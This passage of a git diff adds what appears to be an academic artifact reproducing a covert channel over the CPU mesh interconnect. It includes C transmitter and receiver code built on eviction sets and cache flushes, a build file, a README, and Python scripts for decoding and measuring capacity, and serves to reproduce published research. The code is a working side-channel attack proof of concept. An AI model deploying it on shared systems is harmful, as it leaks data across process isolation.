slice_a; + sscanf(argv[2], "%d", &slice_a); + if (slice_a > NUM_CHA - 1 || slice_a < 0) { + fprintf(stderr, "Wrong slice a! slice_ID should be less than %d and more than 0!\n", LLC_CACHE_SLICES); + exit(1); + } + + // Parse slice B number + int slice_b; + sscanf(argv[3], "%d", &slice_b); + if (slice_b > NUM_CHA - 1 || slice_b < 0) { + fprintf(stderr, "Wrong slice b! slice_ID should be less than %d and more than 0!\n", LLC_CACHE_SLICES); + exit(1); + } + + uint64_t index1, index2, index3, offset; + + // Allocate large buffer (pool of addresses) + void *buffer = mmap(NULL, BUF_SIZE, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE | MAP_HUGETLB, -1, 0); + if (buffer == MAP_FAILED) { + perror("mmap"); + exit(1); + } + + // Write data to the buffer so that any copy-on-write + // mechanisms will give us our own copies of the pages. + memset(buffer, 0, BUF_SIZE); + + // Set the scheduling priority to high to avoid interruptions + // (lower priorities cause more favorable scheduling, and -20 is the max) + setpriority(PRIO_PROCESS, 0, -20); + + // Pin the monitoring program to the desired core + int cpu = cha_id_to_cpu[core]; + pin_cpu(cpu); + + // Mutex to avoid colliding with tx when creating EVs + sem_t *setup_sem = sem_open("setup_sem", 0); + if (setup_sem == SEM_FAILED) { + perror("rx sem_open cha_pmon_sem"); + return -1; + } + sem_wait(setup_sem); + + // Prepare each EV + int ev_size = 20; + int llc_set_1 = 10; + int llc_set_2 = (llc_set_1 + L2_CACHE_SETS) % LLC_CACHE_SETS_PER_SLICE; // The set 0 in L2 maps to sets 0 and 1024 in LLC + + // Multi-set parameters + int second_set_offset = 9; + int num_l2_ev_sets = 2; + uint64_t *ev_list[num_l2_ev_sets]; + + if (num_l2_ev_sets > 4) { + printf("Error: num_l2_ev_sets > 4 is not supported\n"); + exit(1); + } + + struct Node *ev_a = NULL; + struct Node *current = NULL; + + uint64_t ev1[ev_size]; + generate_ev_array(ev1, (ev_size + 1) / 2, slice_a, llc_set_1, buffer); // use (ev_size + 1)/2 to force rounding up on odd nums + generate_ev_array(&ev1[(ev_size + 1) / 2], ev_size / 2, slice_a, llc_set_2, buffer); + ev_list[0] = ev1; + + uint64_t ev2[ev_size]; + if (num_l2_ev_sets > 1) { + generate_ev_array(ev2, (ev_size + 1) / 2, slice_a, llc_set_1 + second_set_offset, buffer); + generate_ev_array(&ev2[(ev_size + 1) / 2], ev_size / 2, slice_a, llc_set_2 + second_set_offset, buffer); + ev_list[1] = ev2; + } + + uint64_t ev3[ev_size]; + if (num_l2_ev_sets > 2) { + generate_ev_array(ev3, (ev_size + 1) / 2, slice_a, llc_set_1 + 2 * second_set_offset, buffer); + generate_ev_array(&ev3[(ev_size + 1) / 2], ev_size / 2, slice_a, llc_set_2 + 2 * second_set_offset, buffer); + ev_list[2] = ev3; + } + + uint64_t ev4[ev_size]; + if (num_l2_ev_sets > 3) { + generate_ev_array(ev4, (ev_size + 1) / 2, slice_a, llc_set_1 + 3 * second_set_offset, buffer); + generate_ev_array(&ev4[(ev_size + 1) / 2], ev_size / 2, slice_a, llc_set_2 + 3 * second_set_offset, buffer); + ev_list[3] = ev4; + } + + ev_a = merge_ev_arrays(ev_list, num_l2_ev_sets, ev_size); + + // Flush + current = ev_a; + while (current != NULL) { + +#ifdef PRINT_EV_DEBUG + // Debug + printf("EV A address: %p, l1 index: %ld, l2 index: %ld, l3 index: %ld, l3 slice: %ld\n", + (void *)current->address, + get_cache_set_index((uint64_t)current->address, 1), + get_cache_set_index((uint64_t)current->address, 2), + get_cache_set_index((uint64_t)current->address, 3), + get_cache_slice_index(current->address) + ); +#endif + + _mm_clflush(current->address); + current = current->next; + } + + // Repeat for ev_b + struct Node *ev_b = NULL; + generate_ev_array(ev1, (ev_size + 1) / 2, slice_b, llc_set_1, buffer); + generate_ev_array(&ev1[(ev_size + 1) / 2], ev_size / 2, slice_b, llc_set_2, buffer); + + if (num_l2_ev_sets > 1) { + generate_ev_array(ev2, (ev_size + 1) / 2, slice_b, llc_set_1 + second_set_offset, buffer); + generate_ev_array(&ev2[(ev_size + 1) / 2], ev_size / 2, slice_b, llc_set_2 + second_set_offset, buffer); + } + + if (num_l2_ev_sets > 2) { + generate_ev_array(ev3, (ev_size + 1) / 2, slice_b, llc_set_1 + 2 * second_set_offset, buffer); + generate_ev_array(&ev3[(ev_size + 1) / 2], ev_size / 2, slice_b, llc_set_2 + 2 * second_set_offset, buffer); + } + + if (num_l2_ev_sets > 3) { + generate_ev_array(ev4, (ev_size + 1) / 2, slice_b, llc_set_1 + 3 * second_set_offset, buffer); + generate_ev_array(&ev4[(ev_size + 1) / 2], ev_size / 2, slice_b, llc_set_2 + 3 * second_set_offset, buffer); + } + + ev_b = merge_ev_arrays(ev_list, num_l2_ev_sets, ev_size); + + // Flush monitoring set + current = ev_b; + while (current != NULL) { +#ifdef PRINT_EV_DEBUG + // Debug + printf("EV B address: %p, l1 index: %ld, l2 index: %ld, l3 index: %ld, l3 slice: %ld\n", + (void *)current->address, + get_cache_set_index((uint64_t)current->address, 1), + get_cache_set_index((uint64_t)current->address, 2), + get_cache_set_index((uint64_t)current->address, 3), + get_cache_slice_index(current->address) + ); +#endif + + _mm_clflush(current->address); + current = current->next; + } + + // Read both ev_a and ev_b from memory + current = ev_a; + while (current != NULL) { + _mm_lfence(); + asm volatile("movq (%0), %%rax" ::"r"(current->address) + : "rax"); + current = current->next; + } + + current = ev_b; + while (current != NULL) { + _mm_lfence(); + asm volatile("movq (%0), %%rax" ::"r"(current->address) + : "rax"); + current = current->next; + } + + _mm_lfence(); + + // Release setup mutex + sem_post(setup_sem); + sem_close(setup_sem); + // Barrier for experiment start + sem_t *tx_ready = sem_open("tx_ready", 0); + sem_t *rx_ready = sem_open("rx_ready", 0); + if (tx_ready == SEM_FAILED || rx_ready == SEM_FAILED) { + perror("Rx failed to open barrier"); + exit(-1); + } + // Signal to tx that rx is ready + sem_post(tx_ready); + sem_wait(rx_ready); + + // Spam the ring interconnect (until killed) + while (1) { + // Load each eviction set alternately + // Send all loads concurrently (no serialization) + current = ev_a; + while (current != NULL) { + asm volatile("movq (%0), %%rax" ::"r"(current->address) + : "rax"); + current = current->next; + } + current = ev_b; + while (current != NULL) { + asm volatile("movq (%0), %%rax" ::"r"(current->address) + : "rax"); + current = current->next; + } + } + + // Free the buffer + munmap(buffer, BUF_SIZE); + + sem_close(tx_ready); + sem_close(rx_ready); + + // Clean up lists + struct Node *tmp = NULL; + for (current = ev_a; current != NULL; tmp = current, current = current->next, free(tmp)); + for (current = ev_b; current != NULL; tmp = current, current = current->next, free(tmp)); + + return 0; +} + +/** + * Produces linked list EV with given parameters starting at start_ptr. start_ptr should point to the last node of a existing list or NULL if it's the first node. + * + * Returns address of last node of the EV + */ +struct Node* generate_ev(struct Node **start_ptr, int ev_size, int llc_slice, int llc_set, void *buffer) { + struct Node *current = NULL; + int i; + + // Find first address in our desired slice and given set + uint64_t offset = find_next_address_on_slice_and_set(buffer, llc_slice, llc_set); + // Save this address in the monitoring set + append_string_to_linked_list(start_ptr, buffer + offset); + + current = *start_ptr; + while (current->next != NULL) { + current = current->next; + } + // Get the L1, L2 and L3 cache set indexes of the monitoring set + uint64_t index3 = get_cache_set_index((uint64_t)current->address, 3); + uint64_t index2 = get_cache_set_index((uint64_t)current->address, 2); + uint64_t index1 = get_cache_set_index((uint64_t)current->address, 1); + + // Find next addresses which are residing in the desired slice and the same sets in L3/L2/L1 + for (i = 1; i < ev_size; i++) { + offset = LLC_INDEX_STRIDE; // skip to next address with the same LLC cache set index + while (index1 != get_cache_set_index((uint64_t)current->address + offset, 1) || + index2 != get_cache_set_index((uint64_t)current->address + offset, 2) || + index3 != get_cache_set_index((uint64_t)current->address + offset, 3) || + llc_slice != get_cache_slice_index(current->address + offset)) { + offset += LLC_INDEX_STRIDE; + } + append_string_to_linked_list(start_ptr, current->address + offset); + current = current->next; + } + return current; +} + +void generate_ev_array(uint64_t *ev, int ev_size, int llc_slice, int llc_set, void *buffer) { + int i; + + // Find first address in our desired slice and given set + uint64_t offset = find_next_address_on_slice_and_set(buffer, llc_slice, llc_set); + ev[0] = (uint64_t)buffer + offset; + + // Get the L1, L2 and L3 cache set indexes of the monitoring set + uint64_t index3 = get_cache_set_index(ev[0], 3); + uint64_t index2 = get_cache_set_index(ev[0], 2); + uint64_t index1 = get_cache_set_index(ev[0], 1); + + // Find next addresses which are residing in the desired slice and the same sets in L3/L2/L1 + for (i = 1; i < ev_size; i++) { + offset = LLC_INDEX_STRIDE; // skip to next address with the same LLC cache set index + uint64_t candidate_addr = ev[i - 1] + offset; + while (index1 != get_cache_set_index(candidate_addr, 1) || + index2 != get_cache_set_index(candidate_addr, 2) || + index3 != get_cache_set_index(candidate_addr, 3) || + llc_slice != get_cache_slice_index((void *)candidate_addr)) { + candidate_addr += LLC_INDEX_STRIDE; + } + ev[i] = candidate_addr; + } +} + +struct Node *merge_ev_arrays(uint64_t *ev_list[], int num_evs, int ev_size) { + struct Node *ev = NULL; + for (int ev_element = 0; ev_element < ev_size; ev_element++) { + for (int ev_num = 0; ev_num < num_evs; ev_num++) { + append_string_to_linked_list(&ev, (void *)ev_list[ev_num][ev_element]); + } + } + return ev; +} diff --git a/02-covert-channel/Makefile b/02-covert-channel/Makefile new file mode 100644 index 0000000..29e7b82 --- /dev/null +++ b/02-covert-channel/Makefile @@ -0,0 +1,46 @@ +CC:= gcc +HOSTNAME := $(shell hostname|awk '{print toupper($$0)'}) +CFLAGS:= -O3 -D_POSIX_SOURCE -D_GNU_SOURCE -m64 -D$(HOSTNAME) +CFLAGSO1:= -O1 -D_POSIX_SOURCE -D_GNU_SOURCE -m64 -D$(HOSTNAME) +LIBS:= -lpthread -lrt + +all: obj bin out transmitter transmitter-rand-bits receiver-no-ev setup-sem cleanup-sem + +transmitter: obj/transmitter.o ../util/util.o ../util/pmon_utils.o ../util/machine_const.o ../util/skx_hash_utils.o ../util/pfn_util.o + $(CC) -o bin/$@ $^ $(LIBS) + +transmitter-rand-bits: obj/transmitter-rand-bits.o ../util/util.o ../util/pmon_utils.o ../util/machine_const.o ../util/skx_hash_utils.o ../util/pfn_util.o + $(CC) -o bin/$@ $^ $(LIBS) + +receiver-no-ev: obj/receiver-no-ev.o ../util/util.o ../util/pmon_utils.o ../util/machine_const.o ../util/skx_hash_utils.o ../util/pfn_util.o + $(CC) -o bin/$@ $^ $(LIBS) + +setup-sem: obj/setup-sem.o + $(CC) -o bin/$@ $^ $(LIBS) + +cleanup-sem: obj/cleanup-sem.o + $(CC) -o bin/$@ $^ $(LIBS) + +# pmon_utils needs to be compiled with -O1 for the get_corresponding_cha function to work +../util/pmon_utils.o: ../util/pmon_utils.c + $(CC) -c $(CFLAGSO1) -o $@ $^ + +obj/transmitter-rand-bits.o: transmitter.c + $(CC) -c $(CFLAGS) -DRANDOM_PATTERN -o $@ $< + +obj/%.o: %.c + $(CC) -c $(CFLAGS) -o $@ $< + +obj: + mkdir -p $@ + +bin: + mkdir -p $@ + +out: + mkdir -p $@ + +clean: + rm -rf bin obj + +.PHONY: all clean diff --git a/02-covert-channel/README.md b/02-covert-channel/README.md new file mode 100644 index 0000000..5d5f10a --- /dev/null +++ b/02-covert-channel/README.md @@ -0,0 +1,41 @@ +# Covert Channel on the Mesh Interconnect + +The code in this folder implements a basic interprocess covert-channel. +As described in the paper, we use a modified version of the receiver that does not require an EV. + +## Prerequisites + +- Build all files with `make` +- Ensure that you have the Python virtual environment installed in the parent directory. + +## Run + +Make sure that your system is idle and minimize the number of background processes that are running and may add noise to the experiment. + +### Plot Covert Channel Trace + +**Expected Runtime: 2 min** + +This experiment demonstrates the covert channel by having the transmitter send a stream of alternating bits. +It outputs a plot with a sample of the trace collected by the receiver. +The default interval used is 3000 cycles, but a different interval can be specified by passing it as an argument to the script. + +To run the experiment, run `./run-all-covert.sh [interval]`. + +The output of the script can be found in `plot/covert-channel-bits.pdf`. +At an interval of 3000, every other interval should have clear high peaks as shown in Figure 7 in the paper. + +### Benchmark Covert Channel Capacity + +**Expected Runtime: 30 min** + +This experiment determines the maximum achievable channel capacity. +The test runs the covert channel test with different interval values and computes the channel capacity metric. +The resulting plot shows how the channel capacity and the error probability change with the interval. +For this test, the transmitter sends a randomized (non-alternating) sequence of bits to provide a more realistic benchmark. +Each trial is repeated 5 times to provide error bars in the final plot. + +To run the experiment, run `./run-all-capacity.sh`. + +The output of the script can be found in `plot/capacity-plot.pdf`. +The plot should show the channel capacity peaking around 1.5 Mbps at 3-5 Mbps of raw bandwidth, as shown in Figure 8 in the paper. diff --git a/02-covert-channel/cleanup-sem.c b/02-covert-channel/cleanup-sem.c new file mode 100644 index 0000000..2e3c176 --- /dev/null +++ b/02-covert-channel/cleanup-sem.c @@ -0,0 +1,22 @@ +#include /* For O_* constants */ +#include /* For mode constants */ +#include +#include +#include + +int main(int argc, char const *argv[]) +{ + if (sem_unlink("setup_sem") != 0) { + perror("Unlink setup_sem"); + } + + if (sem_unlink("tx_ready") != 0) { + perror("Unlink tx_ready"); + } + + if (sem_unlink("rx_ready") != 0) { + perror("Unlink rx_ready"); + } + + return 0; +} diff --git a/02-covert-channel/cleanup.sh b/02-covert-channel/cleanup.sh new file mode 100755 index 0000000..7442f88 --- /dev/null +++ b/02-covert-channel/cleanup.sh @@ -0,0 +1,18 @@ +#!/bin/bash + +# Kill any stray transmitters in case the shell scripts did not terminate correctly +sudo killall -9 transmitter +sudo killall -9 transmitter-rand-bits +sudo killall -9 transmitter-no-loads +sudo killall -9 receiver-no-ev + +# Restore the various frequency settings, if they were changed +echo powersave | sudo tee /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor 2> /dev/null # set powersave governor +echo 0 | sudo tee /sys/devices/system/cpu/intel_pstate/no_turbo # re-enables turbo boost +sudo wrmsr 0x620 0xc18 # re-sets the uncore frequency range + +# Restore environment after running experiments +../util/cleanup.sh + +# Delete semaphores +sudo bin/cleanup-sem diff --git a/02-covert-channel/plot-capacity-figure.py b/02-covert-channel/plot-capacity-figure.py new file mode 100644 index 0000000..7ead40b --- /dev/null +++ b/02-covert-channel/plot-capacity-figure.py @@ -0,0 +1,86 @@ +import os +import sys + +import matplotlib.pyplot as plt +import numpy as np +import scipy.special as sc + + +# Source: https://github.com/scipy/scipy/blob/master/doc/source/tutorial/special.rst +def binary_entropy(x): + return -(sc.xlogy(x, x) + sc.xlog1py(1 - x, -x))/np.log(2) + + +def read_from_file(filename): + results = {} + # Results of all runs are all in the same file + with open(filename) as f: + for line in f: + x, y = line.strip().split() + results.setdefault(float(x), []).append(int(y)) + return results + + +def main(): + # Prepare output directory + out_dir = 'plot' + try: + os.makedirs(out_dir) + except: + pass + + results = read_from_file(sys.argv[1]) + # Compute the probabilities of bit flip + error_probabilities = {} + for bitrate in results.keys(): + for sample in results[bitrate]: + prob = sample / 100000 + error_probabilities.setdefault(bitrate, []).append(prob) + + # Compute the channel capacities + capacities = {} + for bitrate in error_probabilities.keys(): + for error in error_probabilities[bitrate]: + cap = bitrate * (1 - binary_entropy(error)) + capacities.setdefault(bitrate, []).append(cap) + + # Assemble into lists for plotting + raw_bitrate = list(sorted(error_probabilities.keys())) + capacity = [np.mean(capacities[br]) for br in raw_bitrate] + capacity_std = [np.std(capacities[br]) for br in raw_bitrate] + + error_probability = [np.mean(error_probabilities[br]) for br in raw_bitrate] + error_probability_std = [np.std(error_probabilities[br]) for br in raw_bitrate] + + # Plot the channel capacity / error probability plot + plt.rcParams["figure.figsize"] = (6.4, 2.2) + fig, ax1 = plt.subplots() + + color = 'tab:blue' + ax1.set_xlabel('Raw bandwidth (Mbps)') + ax1.set_ylabel('Capacity (Mbps)', color=color) + line1 = ax1.errorbar(raw_bitrate, capacity, yerr=capacity_std, color=color, marker="s", label="Capacity", capsize=2, linestyle='--') + ax1.tick_params(axis='y', labelcolor=color) + + ax2 = ax1.twinx() # instantiate a second axes that shares the same x-axis + + color = 'tab:orange' + ax2.set_ylabel('Error probability', color=color) # we already handled the x-label with ax1 + line2 = ax2.errorbar(raw_bitrate, error_probability, yerr=error_probability_std, color=color, marker=".", label="Error probability", linestyle='--', capsize=2) + ax2.tick_params(axis='y', labelcolor=color) + + lines = [line2, line1] + labels = [l.get_label() for l in lines] + ax1.legend(lines, labels, loc="upper left", frameon=True) + + plt.grid() + plt.tight_layout() + plt.savefig("plot/capacity-plot.pdf") + plt.clf() + + print(capacity) + print(error_probability) + + +if __name__ == "__main__": + main() diff --git a/02-covert-channel/plot-channel-bits-figure.py b/02-covert-channel/plot-channel-bits-figure.py new file mode 100644 index 0000000..8c81f94 --- /dev/null +++ b/02-covert-channel/plot-channel-bits-figure.py @@ -0,0 +1,103 @@ +import os +import sys + +import matplotlib.pyplot as plt +import numpy as np + + +def read_from_file(filename): + result_x = [] + result_y = [] + # Results of all runs are all in the same file + with open(filename) as f: + for line in f: + x, y = line.strip().split() + result_x.append(int(x)) + result_y.append(int(y)) + return result_x, result_y + + +def plot_distributions(data, end_at, filename): + plt.figure(figsize=(6.4, 2)) + + # Plot raw data + plt.ylabel('Latency (cycles)') + plt.plot(data[0][:end_at], data[1][:end_at]) + plt.grid(axis='y') + + # Mark the boundary between each interval + cur_iteration = 0 + for i in range(100): + bar = interval * i + if (data[0][0] < bar < data[0][end_at - 1]): + plt.axvline(x=interval*i, color='tab:orange', linestyle='--') + plt.xlabel('Time (cycles)') + + # Save plot to file + plt.tight_layout() + plt.savefig(filename) + plt.clf() + +interval = 0 + +def main(): + # Prepare output directory + out_dir = 'plot' + try: + os.makedirs(out_dir) + except: + pass + + # Check that there is exactly 1 argument + assert len(sys.argv) == 3, "Specify the files with the results as argument, and the interval" + result_x, result_y = read_from_file(sys.argv[1]) + + global interval + interval = int(sys.argv[2]) + + # Parse trace into intervals + cur_iteration = 0 + iteration_latencies = {} + for i in range(len(result_x)): + x = result_x[i] + y = result_y[i] + if (x > interval * (cur_iteration + 1)): + cur_iteration += 1 + + iteration_latencies.setdefault(cur_iteration, []).append(y) + + # Print avg length of each iteration in samples + interval_lens = [len(iteration_latencies[interval]) for interval in iteration_latencies.keys()] + print('Median samples per interval: ', np.median(interval_lens)) + + # Sample 16 intervals to plot + filtered_result_x = [] + filtered_result_y = [] + start = interval * 146 # Start from, e.g., interval 190 + ended = 0 + for i in range(len(result_x)): + x = result_x[i] + y = result_y[i] + + # We can sample a bit more than 16 intervals so that + # the moving average can continue until the end + if (x < start): + continue + elif (x < start + interval * 20): + offset = 0 + filtered_result_x.append(x - start + offset) + filtered_result_y.append(y) + + if x > start + interval * 10 and ended == 0: + end_at = len(filtered_result_x) + ended = 1 + else: + break + + # Plot the data + selected_samples = filtered_result_x, filtered_result_y + plot_distributions(selected_samples, end_at, "./plot/covert-channel-bits.pdf") + + +if __name__ == "__main__": + main() diff --git a/02-covert-channel/print-errors.py b/02-covert-channel/print-errors.py new file mode 100644 index 0000000..9873bbc --- /dev/null +++ b/02-covert-channel/print-errors.py @@ -0,0 +1,229 @@ +import argparse +import multiprocessing as mp +from collections import namedtuple + +import numpy as np + +ParseParams = namedtuple('ParseParams', 'interval offset contention_frac threshold score') +interval = None +result_x = None +result_y = None +SCORE_MAX = 9999999999999 +pattern = "1110011001010000110111110101011110001001111001010001100011110011100100011101110010010100100100011001110101111010111110100010000100100111001111100111011010110110011011011000011010001010000101110010010110001010110000001001111111001111010111111001111111000100000000100011011101011000001100010000000110000011001101101111010100011000100110100011001000100011011000010100100011100101011010011000110011001100001101101001101111011110000100001010001100001100000010111111110111110100110011100000011101001100110011001010101011011101000101110111101000001000110101110000100100010110110100101101001100110101110011000010111011010111111100001101011000000000011101011101000111101111110110010100010000101001100110000010000011111100101101010110001111011111100000001110110100011000011010101100111010100100101100000011000100101011000101111001011011111101101011010100111000101000101111101000111101001111100101100010011111111000100011010101101010100001110000011101011000001101100010100100001110000000100100000000000010100000" +patternlen = len(pattern) + +# The first 100 intervals are discarded +# The following 1000 intervals are the training set +# The following 100000 intervals are the testing set +discard_intervals = 100 +train_intervals = 1000 +test_intervals = 100000 + +discard_intv_start = 0 +discard_intv_end = discard_intervals +train_intv_start = discard_intervals +train_intv_end = train_intv_start + train_intervals +test_intv_start = discard_intervals + train_intervals +test_intv_end = test_intv_start + test_intervals + +def read_from_file(filename): + """Read a 2-column receiver trace file.""" + result_x = [] + result_y = [] + with open(filename) as f: + for line in f: + x, y = line.strip().split() + result_x.append(int(x)) + result_y.append(int(y)) + return result_x, result_y + + +def diff_letters(a, b): + return sum(a[i] != b[i] for i in range(len(a))) + + +def parse_intervals_into_bits(intervals, threshold, min_contention_frac): + """Classify each interval as a bit 1 or bit 0. + + For each interval, if more than min_contention_frac of the samples are + greater than the threshold, then the sample is a 1. + """ + result = "" + for _, samples in intervals.items(): + contention = 0 + for sample in samples: + if sample >= threshold: + contention += 1 + if (contention > min_contention_frac * len(samples)): + result += "1" + else: + result += "0" + return result + +def per_offset_worker(parse_params): + """For a given offset, find the optimal threshold and contention_frac values. + + This worker is launched in the multiprocessing stage of the post-processing. + The worker is provided with the interval and an offset value which describes + how many cycles the trace should be shifted by to align with the bit + boundary. parse_params is a ParseParams named tuple that contains the + particular set of parameters used for parsing. + """ + # Parse trace into intervals + offset = parse_params.offset + interval = parse_params.interval + + cur_interval_no = 0 + train_intervals = {} + for i in range(len(result_x)): + x = result_x[i] + y = result_y[i] + if ((x + offset) > interval * (cur_interval_no + 1)): + cur_interval_no += 1 + + if (discard_intv_start <= cur_interval_no < discard_intv_end): + continue + if (train_intv_start <= cur_interval_no < train_intv_end): + train_intervals.setdefault(cur_interval_no, []).append(y) + else: + break + + # We use the training set to find the best threshold for this interval + # (offline) and the remaining parsed data to get the error rate (online). We + # try different thresholds because, depending on the CC interval, the best + # threshold to use is different (e.g., with larger intervals we can use a + # lower threshold than with shorter intervals). + # We try different fractions of contention samples observed (e.g. 10% of the + # samples must show contention for the bit to be counted as a 1) + thresholds = range(70, 120, 2) # FIXME: adjust these thresholds for your CPU + contention_fracs = range(1, 70, 4) # test from 0.01 to 0.7 in intervals of 0.04 + + best_contention_frac = None + best_threshold = None + best_score = SCORE_MAX + + for min_contention_frac in contention_fracs: + for threshold in thresholds: + # Parse the intervals into bits + result = parse_intervals_into_bits(train_intervals, threshold, min_contention_frac / 100) + + if random_pattern: + # Because we don't know at what point in the random sequence of + # bits we started sampling, we need to test against all possible + # shifts of the pattern. This is *much* faster in numpy, so we + # convert to np arrays for this step. + score = patternlen + + nppattern = np.array([int(i) for i in pattern]) + result = np.array([int(i) for i in result]) + for i in range(patternlen): + # This is what the numpy function below is effectively doing: + # candidate = pattern[i:] + pattern[:i] + # newscore = diff_letters(result, candidate) + newscore = np.count_nonzero(np.roll(nppattern, i) != result) + if (newscore < score): + score = newscore + else: + # Compare these bits with the ground truth + # The ground truth is either 0101... or 1010... + candidate_1 = "01" * (len(result) // 2) + candidate_2 = "10" * (len(result) // 2) + + # Get the number of bit flips between the decoded stream and the + # (correct) ground truth + score_1 = diff_letters(result, candidate_1) + score_2 = diff_letters(result, candidate_2) + score = min(score_1, score_2) + + # Pick the best score + if (score <= best_score): + best_threshold = threshold + best_contention_frac = min_contention_frac / 100 + best_score = score + return ParseParams(interval, offset, best_contention_frac, best_threshold, best_score) + +def main(): + global interval, result_x, result_y, random_pattern + + parser = argparse.ArgumentParser() + parser.add_argument('result_path', help='Path to the receiver trace') + parser.add_argument('interval', help='Interval used in the covert channel run', type=int) + parser.add_argument('--random_pattern', + help='Expect random bits rather than alternating bits', + action='store_true', + default=False + ) + args = parser.parse_args() + + result_x, result_y = read_from_file(args.result_path) + interval = args.interval + random_pattern = args.random_pattern + + # Parse trace into intervals + pool = mp.Pool(processes=40) + offsets = range(0, interval // 2, interval // 80) + params = [ParseParams(interval, o, None, None, None) for o in offsets] + + best_params_per_offset = pool.map(per_offset_worker, params) + + # Select the best parameter + best_params = min(best_params_per_offset, key=lambda x: x.score) + best_offset = best_params.offset + best_threshold = best_params.threshold + best_contention_frac = best_params.contention_frac + + # print('Best params: {}'.format(best_params)) + + # Generate test set + cur_interval_no = 0 + test_intervals = {} + for i in range(len(result_x)): + x = result_x[i] + y = result_y[i] + if ((x + best_offset) > interval * (cur_interval_no + 1)): + cur_interval_no += 1 + + if (test_intv_start <= cur_interval_no < test_intv_end): + test_intervals.setdefault(cur_interval_no, []).append(y) + elif cur_interval_no > test_intv_end: + break + else: + continue + + # Parse the intervals into bits + result = parse_intervals_into_bits(test_intervals, best_threshold, best_contention_frac) + + if random_pattern: + score = SCORE_MAX + best_offset = 0 + + # Find the best offset using the first patternlen intervals + nppattern = np.array([int(i) for i in pattern]) + npresult = np.array([int(i) for i in result]) + for i in range(patternlen): + newscore = np.count_nonzero(np.roll(nppattern, i) != npresult[:patternlen]) + if (newscore < score): + best_offset = i + score = newscore + + # Evaluate on the entire collected result + extended_pattern = np.tile(nppattern, len(result) // patternlen + 1)[:len(result)] + score = np.count_nonzero(np.roll(extended_pattern, best_offset) != npresult) + else: + # Compare these bits with the ground truth + # The ground truth is either 0101... or 1010... + candidate_1 = "01" * ((len(result) // 2) + 1) + candidate_2 = "10" * ((len(result) // 2) + 1) + + # Print the number of bit flips between the + # decoded stream and the (correct) ground truth + score_1 = diff_letters(result, candidate_1[:len(result)]) + score_2 = diff_letters(result, candidate_2[:len(result)]) + score = min(score_1, score_2) + + # print('Errors: {}/{} ({}%)'.format(score, len(result), score * 100 / len(result))) + print(score) + + +if __name__ == "__main__": + main() diff --git a/02-covert-channel/print-interval-for-rate.py b/02-covert-channel/print-interval-for-rate.py new file mode 100644 index 0000000..4cf685a --- /dev/null +++ b/02-covert-channel/print-interval-for-rate.py @@ -0,0 +1,16 @@ +import sys + + +def main(): + # Parse args + assert len(sys.argv) == 3, "Specify the CPU frequency in GHz and the desired bitrate in Mbps" + proc_frequency = float(sys.argv[1]) * 10**9 # e.g., 3*10^9 + goal_Mbps = float(sys.argv[2]) # e.g., 1 + + # Compute the interval that the channel needs to use to achieve the desired bitrate + need_interval = int(proc_frequency / (goal_Mbps * 10**6)) + print(need_interval, end="") + + +if __name__ == "__main__": + main() diff --git a/02-covert-channel/receiver-no-ev.c b/02-covert-channel/receiver-no-ev.c new file mode 100644 index 0000000..e10e336 --- /dev/null +++ b/02-covert-channel/receiver-no-ev.c @@ -0,0 +1,205 @@ +#include "../util/util.h" +#include "../util/machine_const.h" +#include +#include +#include +#include + +#define BUF_SIZE 400 * 1024UL * 1024 /* Buffer Size -> 400*1MB */ + +int main(int argc, char **argv) +{ + int i; + + // Check arguments + if (argc != 5) { + fprintf(stderr, "Wrong Input! Enter desired core ID, slice ID, output filename, and channel interval!\n"); + fprintf(stderr, "Enter: %s \n", argv[0]); + exit(1); + } + + // Parse core ID + int core_ID; + sscanf(argv[1], "%d", &core_ID); + if (core_ID >= NUM_CHA || core_ID < 0) { + fprintf(stderr, "Wrong core! core_ID should be in the range [0, %d]!\n", NUM_CHA - 1); + exit(1); + } + + // Parse slice number + int slice_ID; + sscanf(argv[2], "%d", &slice_ID); + if (slice_ID >= NUM_CHA || slice_ID < 0) { + fprintf(stderr, "Wrong slice! slice_ID should be in the range [0, %d]!\n", NUM_CHA - 1); + exit(1); + } + + // For this experiment we can use a fixed cache set + int set_ID = 33; + + // Prepare output filename + FILE *output_file = fopen(argv[3], "w"); + + // Parse channel interval + uint32_t interval = 1; // C does not like this if not initialized + sscanf(argv[4], "%" PRIu32, &interval); + if (interval <= 0) { + printf("Wrong interval! interval should be greater than 0!\n"); + exit(1); + } + + // Pin the monitoring program to the desired core + // + // This time we do not set the priority like in the RE because + // doing so would use root and we want our actual attack + // to be realistic for a user space process + int cpu = cha_id_to_cpu[core_ID]; + pin_cpu(cpu); + + ////////////////////////////////////////////////////////////////////// + // Set up memory + ////////////////////////////////////////////////////////////////////// + + // Mutex to avoid colliding with tx when creating EVs + // This is unnecessary when using the hash function + sem_t *setup_sem = sem_open("setup_sem", 0); + if (setup_sem == SEM_FAILED) { + perror("rx sem_open cha_pmon_sem"); + return -1; + } + sem_wait(setup_sem); + + // Allocate large buffer (pool of addresses) + void *buffer = mmap(NULL, BUF_SIZE, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE | MAP_HUGETLB, -1, 0); + if (buffer == MAP_FAILED) { + perror("mmap"); + exit(1); + } + + // Write data to the buffer so that any copy-on-write + // mechanisms will give us our own copies of the pages. + memset(buffer, 0, BUF_SIZE); + + // Prepare monitoring set + printf("Rx: starting setup\n"); + int monitoring_set_size = 24; + struct Node *monitoring_set = NULL; + struct Node *curr_node = NULL; + uint64_t index1, index2, offset; + + // Find first address in our desired slice and given set + offset = find_next_address_on_slice_and_set(buffer, slice_ID, set_ID); + + // Save this address in the monitoring set + append_string_to_linked_list(&monitoring_set, (void *)((uint64_t)buffer + offset)); + + // Get the L1 and L2 cache set indexes of the monitoring set + index2 = get_cache_set_index((uint64_t)monitoring_set->address, 2); + index1 = get_cache_set_index((uint64_t)monitoring_set->address, 1); + + // Find next addresses which are residing in the desired slice and the same sets in L2/L1 + // These addresses will distribute across 2 LLC sets + curr_node = monitoring_set; + for (i = 1; i < monitoring_set_size; i++) { + offset = L2_INDEX_STRIDE; // skip to the next address with the same L2 cache set index + while (index1 != get_cache_set_index((uint64_t)curr_node->address + offset, 1) || + index2 != get_cache_set_index((uint64_t)curr_node->address + offset, 2) || + slice_ID != get_cache_slice_index((void *)((uint64_t)curr_node->address + offset))) { + offset += L2_INDEX_STRIDE; + } + + append_string_to_linked_list(&monitoring_set, (void *)((uint64_t)curr_node->address + offset)); + curr_node = curr_node->next; + } + + curr_node->next = monitoring_set; // Loop back to the beginning + + // Flush monitoring set + curr_node = monitoring_set; + for 